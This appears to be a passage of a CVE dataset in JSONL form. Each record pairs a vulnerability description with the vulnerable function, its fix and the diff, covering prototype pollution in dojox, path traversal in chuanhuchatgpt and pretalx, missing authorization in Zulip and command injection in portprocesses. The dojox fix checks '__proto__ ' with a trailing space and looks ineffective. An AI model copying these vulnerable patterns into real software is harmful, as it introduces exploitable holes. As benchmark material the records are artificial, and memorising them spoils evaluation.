{"cve_id": "CVE-2020-5259", "cve_description": "In affected versions of dojox (NPM package), the jqMix method is vulnerable to Prototype Pollution. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. This has been patched in versions 1.11.10, 1.12.8, 1.13.7, 1.14.6, 1.15.3 and 1.16.2", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/dojo/dojox", "patch_url": ["https://github.com/dojo/dojox/commit/47d1b302b5b23d94e875b77b9b9a8c4f5622c9da"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_167_1", "commit": "5491eff", "file_path": "jq.js", "start_line": 442, "end_line": 479, "snippet": "\tfunction jqMix(obj, props){\n\t\t// summary:\n\t\t//\t\tan attempt at a mixin that follows\n\t\t//\t\tjquery's .extend rules. Seems odd. Not sure how\n\t\t//\t\tto resolve this with dojo.mixin and what the use\n\t\t//\t\tcases are for the jquery version.\n\t\t//\t\tCopying some code from dojo._mixin.\n\t\tif(obj == props){\n\t\t\treturn obj;\n\t\t}\n\t\tvar tobj = {};\n\t\tfor(var x in props){\n\t\t\t// the \"tobj\" condition avoid copying properties in \"props\"\n\t\t\t// inherited from Object.prototype.  For example, if obj has a custom\n\t\t\t// toString() method, don't overwrite it with the toString() method\n\t\t\t// that props inherited from Object.prototype\n\t\t\tif((tobj[x] === undefined || tobj[x] != props[x]) && props[x] !== undefined && obj != props[x]){\n\t\t\t\tif(dojo.isObject(obj[x]) && dojo.isObject(props[x])){\n\t\t\t\t\tif(dojo.isArray(props[x])){\n\t\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t\t}else{\n\t\t\t\t\t\tobj[x] = jqMix(obj[x], props[x]);\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// IE doesn't recognize custom toStrings in for..in\n\t\tif(dojo.isIE && props){\n\t\t\tvar p = props.toString;\n\t\t\tif(typeof p == \"function\" && p != obj.toString && p != tobj.toString &&\n\t\t\t\tp != \"\\nfunction toString() {\\n    [native code]\\n}\\n\"){\n\t\t\t\t\tobj.toString = props.toString;\n\t\t\t}\n\t\t}\n\t\treturn obj; // Object\n\t}"}], "fix_func": [{"id": "fix_js_167_1", "commit": "47d1b30", "file_path": "jq.js", "start_line": 442, "end_line": 479, "snippet": "\tfunction jqMix(obj, props){\n\t\t// summary:\n\t\t//\t\tan attempt at a mixin that follows\n\t\t//\t\tjquery's .extend rules. Seems odd. Not sure how\n\t\t//\t\tto resolve this with dojo.mixin and what the use\n\t\t//\t\tcases are for the jquery version.\n\t\t//\t\tCopying some code from dojo._mixin.\n\t\tif(obj == props){\n\t\t\treturn obj;\n\t\t}\n\t\tvar tobj = {};\n\t\tfor(var x in props){\n\t\t\t// the \"tobj\" condition avoid copying properties in \"props\"\n\t\t\t// inherited from Object.prototype.  For example, if obj has a custom\n\t\t\t// toString() method, don't overwrite it with the toString() method\n\t\t\t// that props inherited from Object.prototype\n\t\t\tif(x !== '__proto__ ' && ((tobj[x] === undefined || tobj[x] != props[x])) && props[x] !== undefined && obj != props[x]){\n\t\t\t\tif(dojo.isObject(obj[x]) && dojo.isObject(props[x])){\n\t\t\t\t\tif(dojo.isArray(props[x])){\n\t\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t\t}else{\n\t\t\t\t\t\tobj[x] = jqMix(obj[x], props[x]);\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// IE doesn't recognize custom toStrings in for..in\n\t\tif(dojo.isIE && props){\n\t\t\tvar p = props.toString;\n\t\t\tif(typeof p == \"function\" && p != obj.toString && p != tobj.toString &&\n\t\t\t\tp != \"\\nfunction toString() {\\n    [native code]\\n}\\n\"){\n\t\t\t\t\tobj.toString = props.toString;\n\t\t\t}\n\t\t}\n\t\treturn obj; // Object\n\t}"}], "vul_patch": "--- a/jq.js\n+++ b/jq.js\n@@ -14,7 +14,7 @@\n \t\t\t// inherited from Object.prototype.  For example, if obj has a custom\n \t\t\t// toString() method, don't overwrite it with the toString() method\n \t\t\t// that props inherited from Object.prototype\n-\t\t\tif((tobj[x] === undefined || tobj[x] != props[x]) && props[x] !== undefined && obj != props[x]){\n+\t\t\tif(x !== '__proto__ ' && ((tobj[x] === undefined || tobj[x] != props[x])) && props[x] !== undefined && obj != props[x]){\n \t\t\t\tif(dojo.isObject(obj[x]) && dojo.isObject(props[x])){\n \t\t\t\t\tif(dojo.isArray(props[x])){\n \t\t\t\t\t\tobj[x] = props[x];\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-5982", "cve_description": "A path traversal vulnerability exists in the latest version of gaizhenbiao/chuanhuchatgpt. The vulnerability arises from unsanitized input handling in multiple features, including user upload, directory creation, and template loading. Specifically, the load_chat_history function in modules/models/base_model.py allows arbitrary file uploads, potentially leading to remote code execution (RCE). The get_history_names function in utils.py permits arbitrary directory creation. Additionally, the load_template function in utils.py can be exploited to leak the first column of CSV files. These issues stem from improper sanitization of user inputs concatenated with directory paths using os.path.join.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gaizhenbiao/chuanhuchatgpt", "patch_url": ["https://github.com/gaizhenbiao/chuanhuchatgpt/commit/952fc8c3cbacead858311747cddd4bedcb4721d7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_290_1", "commit": "868767e", "file_path": "modules/models/base_model.py", "start_line": 990, "end_line": 1100, "snippet": "    def load_chat_history(self, new_history_file_path=None):\n        logging.debug(f\"{self.user_name} \\u52a0\\u8f7d\\u5bf9\\u8bdd\\u5386\\u53f2\\u4e2d\\u2026\\u2026\")\n        if new_history_file_path is not None:\n            if type(new_history_file_path) != str:\n                # copy file from new_history_file_path.name to os.path.join(HISTORY_DIR, self.user_name)\n                new_history_file_path = new_history_file_path.name\n                shutil.copyfile(\n                    new_history_file_path,\n                    os.path.join(\n                        HISTORY_DIR,\n                        self.user_name,\n                        os.path.basename(new_history_file_path),\n                    ),\n                )\n                self.history_file_path = os.path.basename(new_history_file_path)\n            else:\n                self.history_file_path = new_history_file_path\n        try:\n            if self.history_file_path == os.path.basename(self.history_file_path):\n                history_file_path = os.path.join(\n                    HISTORY_DIR, self.user_name, self.history_file_path\n                )\n            else:\n                history_file_path = self.history_file_path\n            if not self.history_file_path.endswith(\".json\"):\n                history_file_path += \".json\"\n            with open(history_file_path, \"r\", encoding=\"utf-8\") as f:\n                saved_json = json.load(f)\n            try:\n                if type(saved_json[\"history\"][0]) == str:\n                    logging.info(\"\\u5386\\u53f2\\u8bb0\\u5f55\\u683c\\u5f0f\\u4e3a\\u65e7\\u7248\\uff0c\\u6b63\\u5728\\u8f6c\\u6362\\u2026\\u2026\")\n                    new_history = []\n                    for index, item in enumerate(saved_json[\"history\"]):\n                        if index % 2 == 0:\n                            new_history.append(construct_user(item))\n                        else:\n                            new_history.append(construct_assistant(item))\n                    saved_json[\"history\"] = new_history\n                    logging.info(new_history)\n            except:\n                pass\n            if len(saved_json[\"chatbot\"]) < len(saved_json[\"history\"]) // 2:\n                logging.info(\"Trimming corrupted history...\")\n                saved_json[\"history\"] = saved_json[\"history\"][\n                    -len(saved_json[\"chatbot\"]) :\n                ]\n                logging.info(f\"Trimmed history: {saved_json['history']}\")\n            # Sanitize chatbot\n            saved_json[\"chatbot\"] = remove_html_tags(saved_json[\"chatbot\"])\n            logging.debug(f\"{self.user_name} \\u52a0\\u8f7d\\u5bf9\\u8bdd\\u5386\\u53f2\\u5b8c\\u6bd5\")\n            self.history = saved_json[\"history\"]\n            self.single_turn = saved_json.get(\"single_turn\", self.single_turn)\n            self.temperature = saved_json.get(\"temperature\", self.temperature)\n            self.top_p = saved_json.get(\"top_p\", self.top_p)\n            self.n_choices = saved_json.get(\"n_choices\", self.n_choices)\n            self.stop_sequence = list(saved_json.get(\"stop_sequence\", self.stop_sequence))\n            self.token_upper_limit = saved_json.get(\n                \"token_upper_limit\", self.token_upper_limit\n            )\n            self.max_generation_token = saved_json.get(\n                \"max_generation_token\", self.max_generation_token\n            )\n            self.presence_penalty = saved_json.get(\n                \"presence_penalty\", self.presence_penalty\n            )\n            self.frequency_penalty = saved_json.get(\n                \"frequency_penalty\", self.frequency_penalty\n            )\n            self.logit_bias = saved_json.get(\"logit_bias\", self.logit_bias)\n            self.user_identifier = saved_json.get(\"user_identifier\", self.user_name)\n            self.metadata = saved_json.get(\"metadata\", self.metadata)\n            self.stream = saved_json.get(\"stream\", self.stream)\n            self.chatbot = saved_json[\"chatbot\"]\n            return (\n                os.path.basename(self.history_file_path)[:-5],\n                saved_json[\"system\"],\n                gr.update(value=saved_json[\"chatbot\"]),\n                self.single_turn,\n                self.temperature,\n                self.top_p,\n                self.n_choices,\n                \",\".join(self.stop_sequence),\n                self.token_upper_limit,\n                self.max_generation_token,\n                self.presence_penalty,\n                self.frequency_penalty,\n                self.logit_bias,\n                self.user_identifier,\n                self.stream\n            )\n        except:\n            # \\u6ca1\\u6709\\u5bf9\\u8bdd\\u5386\\u53f2\\u6216\\u8005\\u5bf9\\u8bdd\\u5386\\u53f2\\u89e3\\u6790\\u5931\\u8d25\n            logging.debug(f\"\\u6ca1\\u6709\\u627e\\u5230\\u5bf9\\u8bdd\\u5386\\u53f2\\u8bb0\\u5f55 {self.history_file_path}\")\n            self.reset()\n            return (\n                os.path.basename(self.history_file_path),\n                self.system_prompt,\n                gr.update(value=[]),\n                self.single_turn,\n                self.temperature,\n                self.top_p,\n                self.n_choices,\n                \",\".join(self.stop_sequence),\n                self.token_upper_limit,\n                self.max_generation_token,\n                self.presence_penalty,\n                self.frequency_penalty,\n                self.logit_bias,\n                self.user_identifier,\n                self.stream\n            )"}], "fix_func": [{"id": "fix_py_290_1", "commit": "952fc8c3cbacead858311747cddd4bedcb4721d7", "file_path": "modules/models/base_model.py", "start_line": 990, "end_line": 1105, "snippet": "    def load_chat_history(self, new_history_file_path=None):\n        logging.debug(f\"{self.user_name} \\u52a0\\u8f7d\\u5bf9\\u8bdd\\u5386\\u53f2\\u4e2d\\u2026\\u2026\")\n        if new_history_file_path is not None:\n            if type(new_history_file_path) != str:\n                # copy file from new_history_file_path.name to os.path.join(HISTORY_DIR, self.user_name)\n                new_history_file_path = new_history_file_path.name\n                target_path = os.path.join(HISTORY_DIR, self.user_name, new_history_file_path)\n                # Check if the file is in the history directory\n                assert os.path.realpath(new_history_file_path).startswith(os.path.realpath(HISTORY_DIR))\n                assert os.path.realpath(target_path).startswith(os.path.realpath(HISTORY_DIR))\n                assert self.user_name in [i[0] for i in auth_list]\n                shutil.copyfile(\n                    new_history_file_path,\n                    os.path.join(\n                        HISTORY_DIR,\n                        self.user_name,\n                        os.path.basename(new_history_file_path),\n                    ),\n                )\n                self.history_file_path = os.path.basename(new_history_file_path)\n            else:\n                self.history_file_path = new_history_file_path\n        try:\n            if self.history_file_path == os.path.basename(self.history_file_path):\n                history_file_path = os.path.join(\n                    HISTORY_DIR, self.user_name, self.history_file_path\n                )\n            else:\n                history_file_path = self.history_file_path\n            if not self.history_file_path.endswith(\".json\"):\n                history_file_path += \".json\"\n            with open(history_file_path, \"r\", encoding=\"utf-8\") as f:\n                saved_json = json.load(f)\n            try:\n                if type(saved_json[\"history\"][0]) == str:\n                    logging.info(\"\\u5386\\u53f2\\u8bb0\\u5f55\\u683c\\u5f0f\\u4e3a\\u65e7\\u7248\\uff0c\\u6b63\\u5728\\u8f6c\\u6362\\u2026\\u2026\")\n                    new_history = []\n                    for index, item in enumerate(saved_json[\"history\"]):\n                        if index % 2 == 0:\n                            new_history.append(construct_user(item))\n                        else:\n                            new_history.append(construct_assistant(item))\n                    saved_json[\"history\"] = new_history\n                    logging.info(new_history)\n            except:\n                pass\n            if len(saved_json[\"chatbot\"]) < len(saved_json[\"history\"]) // 2:\n                logging.info(\"Trimming corrupted history...\")\n                saved_json[\"history\"] = saved_json[\"history\"][\n                    -len(saved_json[\"chatbot\"]) :\n                ]\n                logging.info(f\"Trimmed history: {saved_json['history']}\")\n            # Sanitize chatbot\n            saved_json[\"chatbot\"] = remove_html_tags(saved_json[\"chatbot\"])\n            logging.debug(f\"{self.user_name} \\u52a0\\u8f7d\\u5bf9\\u8bdd\\u5386\\u53f2\\u5b8c\\u6bd5\")\n            self.history = saved_json[\"history\"]\n            self.single_turn = saved_json.get(\"single_turn\", self.single_turn)\n            self.temperature = saved_json.get(\"temperature\", self.temperature)\n            self.top_p = saved_json.get(\"top_p\", self.top_p)\n            self.n_choices = saved_json.get(\"n_choices\", self.n_choices)\n            self.stop_sequence = list(saved_json.get(\"stop_sequence\", self.stop_sequence))\n            self.token_upper_limit = saved_json.get(\n                \"token_upper_limit\", self.token_upper_limit\n            )\n            self.max_generation_token = saved_json.get(\n                \"max_generation_token\", self.max_generation_token\n            )\n            self.presence_penalty = saved_json.get(\n                \"presence_penalty\", self.presence_penalty\n            )\n            self.frequency_penalty = saved_json.get(\n                \"frequency_penalty\", self.frequency_penalty\n            )\n            self.logit_bias = saved_json.get(\"logit_bias\", self.logit_bias)\n            self.user_identifier = saved_json.get(\"user_identifier\", self.user_name)\n            self.metadata = saved_json.get(\"metadata\", self.metadata)\n            self.stream = saved_json.get(\"stream\", self.stream)\n            self.chatbot = saved_json[\"chatbot\"]\n            return (\n                os.path.basename(self.history_file_path)[:-5],\n                saved_json[\"system\"],\n                gr.update(value=saved_json[\"chatbot\"]),\n                self.single_turn,\n                self.temperature,\n                self.top_p,\n                self.n_choices,\n                \",\".join(self.stop_sequence),\n                self.token_upper_limit,\n                self.max_generation_token,\n                self.presence_penalty,\n                self.frequency_penalty,\n                self.logit_bias,\n                self.user_identifier,\n                self.stream\n            )\n        except:\n            # \\u6ca1\\u6709\\u5bf9\\u8bdd\\u5386\\u53f2\\u6216\\u8005\\u5bf9\\u8bdd\\u5386\\u53f2\\u89e3\\u6790\\u5931\\u8d25\n            logging.debug(f\"\\u6ca1\\u6709\\u627e\\u5230\\u5bf9\\u8bdd\\u5386\\u53f2\\u8bb0\\u5f55 {self.history_file_path}\")\n            self.reset()\n            return (\n                os.path.basename(self.history_file_path),\n                self.system_prompt,\n                gr.update(value=[]),\n                self.single_turn,\n                self.temperature,\n                self.top_p,\n                self.n_choices,\n                \",\".join(self.stop_sequence),\n                self.token_upper_limit,\n                self.max_generation_token,\n                self.presence_penalty,\n                self.frequency_penalty,\n                self.logit_bias,\n                self.user_identifier,\n                self.stream\n            )"}], "vul_patch": "--- a/modules/models/base_model.py\n+++ b/modules/models/base_model.py\n@@ -4,6 +4,11 @@\n             if type(new_history_file_path) != str:\n                 # copy file from new_history_file_path.name to os.path.join(HISTORY_DIR, self.user_name)\n                 new_history_file_path = new_history_file_path.name\n+                target_path = os.path.join(HISTORY_DIR, self.user_name, new_history_file_path)\n+                # Check if the file is in the history directory\n+                assert os.path.realpath(new_history_file_path).startswith(os.path.realpath(HISTORY_DIR))\n+                assert os.path.realpath(target_path).startswith(os.path.realpath(HISTORY_DIR))\n+                assert self.user_name in [i[0] for i in auth_list]\n                 shutil.copyfile(\n                     new_history_file_path,\n                     os.path.join(\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-0896", "cve_description": "Zulip Server 1.5.1 and below suffer from an error in the implementation of the invite_by_admins_only setting in the Zulip group chat application server that allowed an authenticated user to invite other users to join a Zulip organization even if the organization was configured to prevent this.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/1f48fa27672170bba3b9a97384905bb04c18761b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_201_1", "commit": "db9918f", "file_path": "zerver/views/invite.py", "start_line": 22, "end_line": 56, "snippet": "def json_invite_users(request, user_profile,\n                      invitee_emails_raw=REQ(\"invitee_emails\"),\n                      body=REQ(\"custom_body\", default=None)):\n    # type: (HttpRequest, UserProfile, str, Optional[str]) -> HttpResponse\n    if not invitee_emails_raw:\n        return json_error(_(\"You must specify at least one email address.\"))\n    if body == '':\n        body = None\n\n    invitee_emails = get_invitee_emails_set(invitee_emails_raw)\n\n    stream_names = request.POST.getlist('stream')\n    if not stream_names:\n        return json_error(_(\"You must specify at least one stream for invitees to join.\"))\n\n    # We unconditionally sub you to the notifications stream if it\n    # exists and is public.\n    notifications_stream = user_profile.realm.notifications_stream  # type: Optional[Stream]\n    if notifications_stream and not notifications_stream.invite_only:\n        stream_names.append(notifications_stream.name)\n\n    streams = []  # type: List[Stream]\n    for stream_name in stream_names:\n        try:\n            (stream, recipient, sub) = access_stream_by_name(user_profile, stream_name)\n        except JsonableError:\n            return json_error(_(\"Stream does not exist: %s. No invites were sent.\") % (stream_name,))\n        streams.append(stream)\n\n    ret_error, error_data = do_invite_users(user_profile, invitee_emails, streams, body)\n\n    if ret_error is not None:\n        return json_error(data=error_data, msg=ret_error)\n    else:\n        return json_success()"}], "fix_func": [{"id": "fix_py_201_1", "commit": "1f48fa2", "file_path": "zerver/views/invite.py", "start_line": 22, "end_line": 58, "snippet": "def json_invite_users(request, user_profile,\n                      invitee_emails_raw=REQ(\"invitee_emails\"),\n                      body=REQ(\"custom_body\", default=None)):\n    # type: (HttpRequest, UserProfile, str, Optional[str]) -> HttpResponse\n    if user_profile.realm.invite_by_admins_only and not user_profile.is_realm_admin:\n        return json_error(_(\"Must be a realm administrator\"))\n    if not invitee_emails_raw:\n        return json_error(_(\"You must specify at least one email address.\"))\n    if body == '':\n        body = None\n\n    invitee_emails = get_invitee_emails_set(invitee_emails_raw)\n\n    stream_names = request.POST.getlist('stream')\n    if not stream_names:\n        return json_error(_(\"You must specify at least one stream for invitees to join.\"))\n\n    # We unconditionally sub you to the notifications stream if it\n    # exists and is public.\n    notifications_stream = user_profile.realm.notifications_stream  # type: Optional[Stream]\n    if notifications_stream and not notifications_stream.invite_only:\n        stream_names.append(notifications_stream.name)\n\n    streams = []  # type: List[Stream]\n    for stream_name in stream_names:\n        try:\n            (stream, recipient, sub) = access_stream_by_name(user_profile, stream_name)\n        except JsonableError:\n            return json_error(_(\"Stream does not exist: %s. No invites were sent.\") % (stream_name,))\n        streams.append(stream)\n\n    ret_error, error_data = do_invite_users(user_profile, invitee_emails, streams, body)\n\n    if ret_error is not None:\n        return json_error(data=error_data, msg=ret_error)\n    else:\n        return json_success()"}], "vul_patch": "--- a/zerver/views/invite.py\n+++ b/zerver/views/invite.py\n@@ -2,6 +2,8 @@\n                       invitee_emails_raw=REQ(\"invitee_emails\"),\n                       body=REQ(\"custom_body\", default=None)):\n     # type: (HttpRequest, UserProfile, str, Optional[str]) -> HttpResponse\n+    if user_profile.realm.invite_by_admins_only and not user_profile.is_realm_admin:\n+        return json_error(_(\"Must be a realm administrator\"))\n     if not invitee_emails_raw:\n         return json_error(_(\"You must specify at least one email address.\"))\n     if body == '':\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23348", "cve_description": "This affects the package portprocesses before 1.0.5. If (attacker-controlled) user input is given to the killProcess function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/rrainn/PortProcesses", "patch_url": ["https://github.com/rrainn/PortProcesses/commit/86811216c9b97b01b5722f879f8c88a7aa4214e1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_237_1", "commit": "fffceb0", "file_path": "cli.js", "start_line": 3, "end_line": 20, "snippet": "async function task() {\n\tconst argv = [...process.argv];\n\tconst port = process.argv.pop();\n\tconst command = process.argv.pop();\n\n\tswitch (command) {\n\t\tcase \"kill\":\n\t\t\tconst result = await main.killAllProcessesOnPort(port);\n\t\t\tconsole.log(result.filter(item => !item.success).map(item => `Failed to kill process ${item.pid}`).join('\\n'));\n\t\t\tbreak;\n\t\tcase \"list\":\n\t\t\tconst result = await main.listProcessesOnPort(port);\n\t\t\tconsole.log(result);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tconsole.error(\"Command not found\");\n\t}\n}"}, {"id": "vul_js_237_2", "commit": "fffceb0", "file_path": "index.js", "start_line": 2, "end_line": 20, "snippet": "const listProcessesOnPort = module.exports.listProcessesOnPort = async port => {\n\ttry {\n\t\tconst result = (await exec(`lsof -i :${port}`)).output.split('\\n');\n\t\tconst headers = result.shift().split(' ').filter(item => !!item.trim() && item.trim() !== \"\").map(item => item.toLowerCase());\n\t\treturn result.filter(item => !!item.trim() && item.trim() !== \"\").reduce((accumulator, currentValue) => {\n\t\t\taccumulator.push(currentValue.split(' ').filter(item => !!item.trim() && item.trim() !== \"\").reduce((accumulator, currentValue, index) => {\n\t\t\t\tif (index > headers.length - 1) {\n\t\t\t\t\taccumulator[headers[headers.length - 1]] = (!!accumulator[headers[headers.length - 1]].trim() && accumulator[headers[headers.length - 1]].trim() !== \"\") ? `${accumulator[headers[headers.length - 1]]} ${currentValue}` : currentValue;\n\t\t\t\t} else {\n\t\t\t\t\taccumulator[headers[index]] = currentValue;\n\t\t\t\t}\n\t\t\t\treturn accumulator;\n\t\t\t}, {}));\n\t\t\treturn accumulator;\n\t\t}, []);\n\t} catch (e) {\n\t\tconsole.error(e);\n\t}\n};"}, {"id": "vul_js_237_3", "commit": "fffceb0", "file_path": "index.js", "start_line": 21, "end_line": 28, "snippet": "const killProcess = module.exports.killProcess = async pid => {\n\ttry {\n\t\tawait exec(`kill ${pid}`);\n\t\treturn true;\n\t} catch (e) {\n\t\treturn false;\n\t}\n};"}], "fix_func": [{"id": "fix_js_237_1", "commit": "86811216c9b97b01b5722f879f8c88a7aa4214e1", "file_path": "cli.js", "start_line": 3, "end_line": 21, "snippet": "async function task() {\n\tconst argv = [...process.argv];\n\tconst port = process.argv.pop();\n\tconst command = process.argv.pop();\n\n\tlet result;\n\tswitch (command) {\n\t\tcase \"kill\":\n\t\t\tresult = await main.killAllProcessesOnPort(port);\n\t\t\tconsole.log(result.filter(item => !item.success).map(item => `Failed to kill process ${item.pid}`).join('\\n'));\n\t\t\tbreak;\n\t\tcase \"list\":\n\t\t\tresult = await main.listProcessesOnPort(port);\n\t\t\tconsole.log(result);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tconsole.error(\"Command not found\");\n\t}\n}"}, {"id": "fix_js_237_2", "commit": "86811216c9b97b01b5722f879f8c88a7aa4214e1", "file_path": "index.js", "start_line": 2, "end_line": 25, "snippet": "const listProcessesOnPort = module.exports.listProcessesOnPort = async port => {\n\tconst portNumber = parseInt(port, 10);\n\tif (Number.isNaN(portNumber)) {\n\t\tconsole.error(\"Must provide number for port.\");\n\t\treturn;\n\t}\n\ttry {\n\t\tconst result = (await exec(`lsof -i :${portNumber}`)).output.split('\\n');\n\t\tconst headers = result.shift().split(' ').filter(item => !!item.trim() && item.trim() !== \"\").map(item => item.toLowerCase());\n\t\treturn result.filter(item => !!item.trim() && item.trim() !== \"\").reduce((accumulator, currentValue) => {\n\t\t\taccumulator.push(currentValue.split(' ').filter(item => !!item.trim() && item.trim() !== \"\").reduce((accumulator, currentValue, index) => {\n\t\t\t\tif (index > headers.length - 1) {\n\t\t\t\t\taccumulator[headers[headers.length - 1]] = (!!accumulator[headers[headers.length - 1]].trim() && accumulator[headers[headers.length - 1]].trim() !== \"\") ? `${accumulator[headers[headers.length - 1]]} ${currentValue}` : currentValue;\n\t\t\t\t} else {\n\t\t\t\t\taccumulator[headers[index]] = currentValue;\n\t\t\t\t}\n\t\t\t\treturn accumulator;\n\t\t\t}, {}));\n\t\t\treturn accumulator;\n\t\t}, []);\n\t} catch (e) {\n\t\tconsole.error(e);\n\t}\n};"}, {"id": "fix_js_237_3", "commit": "86811216c9b97b01b5722f879f8c88a7aa4214e1", "file_path": "index.js", "start_line": 26, "end_line": 39, "snippet": "const killProcess = module.exports.killProcess = async pid => {\n\tconst pidNumber = parseInt(pid, 10);\n\tif (Number.isNaN(pidNumber)) {\n\t\tconsole.error(\"Must provide number for process identifier.\");\n\t\treturn false;\n\t}\n\n\ttry {\n\t\tawait exec(`kill ${pidNumber}`);\n\t\treturn true;\n\t} catch (e) {\n\t\treturn false;\n\t}\n};"}], "vul_patch": "--- a/cli.js\n+++ b/cli.js\n@@ -3,13 +3,14 @@\n \tconst port = process.argv.pop();\n \tconst command = process.argv.pop();\n \n+\tlet result;\n \tswitch (command) {\n \t\tcase \"kill\":\n-\t\t\tconst result = await main.killAllProcessesOnPort(port);\n+\t\t\tresult = await main.killAllProcessesOnPort(port);\n \t\t\tconsole.log(result.filter(item => !item.success).map(item => `Failed to kill process ${item.pid}`).join('\\n'));\n \t\t\tbreak;\n \t\tcase \"list\":\n-\t\t\tconst result = await main.listProcessesOnPort(port);\n+\t\t\tresult = await main.listProcessesOnPort(port);\n \t\t\tconsole.log(result);\n \t\t\tbreak;\n \t\tdefault:\n\n--- a/index.js\n+++ b/index.js\n@@ -1,6 +1,11 @@\n const listProcessesOnPort = module.exports.listProcessesOnPort = async port => {\n+\tconst portNumber = parseInt(port, 10);\n+\tif (Number.isNaN(portNumber)) {\n+\t\tconsole.error(\"Must provide number for port.\");\n+\t\treturn;\n+\t}\n \ttry {\n-\t\tconst result = (await exec(`lsof -i :${port}`)).output.split('\\n');\n+\t\tconst result = (await exec(`lsof -i :${portNumber}`)).output.split('\\n');\n \t\tconst headers = result.shift().split(' ').filter(item => !!item.trim() && item.trim() !== \"\").map(item => item.toLowerCase());\n \t\treturn result.filter(item => !!item.trim() && item.trim() !== \"\").reduce((accumulator, currentValue) => {\n \t\t\taccumulator.push(currentValue.split(' ').filter(item => !!item.trim() && item.trim() !== \"\").reduce((accumulator, currentValue, index) => {\n\n--- a/index.js\n+++ b/index.js\n@@ -1,6 +1,12 @@\n const killProcess = module.exports.killProcess = async pid => {\n+\tconst pidNumber = parseInt(pid, 10);\n+\tif (Number.isNaN(pidNumber)) {\n+\t\tconsole.error(\"Must provide number for process identifier.\");\n+\t\treturn false;\n+\t}\n+\n \ttry {\n-\t\tawait exec(`kill ${pid}`);\n+\t\tawait exec(`kill ${pidNumber}`);\n \t\treturn true;\n \t} catch (e) {\n \t\treturn false;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28459", "cve_description": "pretalx 2.3.1 before 2.3.2 allows path traversal in HTML export (a non-default feature). Users were able to upload crafted HTML documents that trigger the reading of arbitrary files.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/pretalx/pretalx", "patch_url": ["https://github.com/pretalx/pretalx/commit/60722c43cf975f319e94102e6bff320723776890"], "programing_language": "Python", "vul_func": [{"id": "vul_py_298_1", "commit": "4732e8f", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 112, "end_line": 123, "snippet": "def dump_content(destination, path, getter):\n    logging.debug(path)\n    content = getter(path)\n    if path.endswith(\"/\"):\n        path = path + \"index.html\"\n\n    path = Path(destination) / path.lstrip(\"/\")\n    path.parent.mkdir(parents=True, exist_ok=True)\n\n    with open(path, \"wb\") as f:\n        f.write(content)\n    return content"}, {"id": "vul_py_298_2", "commit": "4732e8f", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 126, "end_line": 135, "snippet": "def get_mediastatic_content(url):\n    if url.startswith(settings.STATIC_URL):\n        local_path = settings.STATIC_ROOT / url[len(settings.STATIC_URL) :]\n    elif url.startswith(settings.MEDIA_URL):\n        local_path = settings.MEDIA_ROOT / url[len(settings.MEDIA_URL) :]\n    else:\n        raise FileNotFoundError()\n\n    with open(local_path, \"rb\") as f:\n        return f.read()"}], "fix_func": [{"id": "fix_py_298_1", "commit": "60722c43cf975f319e94102e6bff320723776890", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 112, "end_line": 125, "snippet": "def dump_content(destination, path, getter):\n    logging.debug(path)\n    content = getter(path)\n    if path.endswith(\"/\"):\n        path = path + \"index.html\"\n\n    path = (Path(destination) / path.lstrip(\"/\")).resolve()\n    if not Path(destination) in 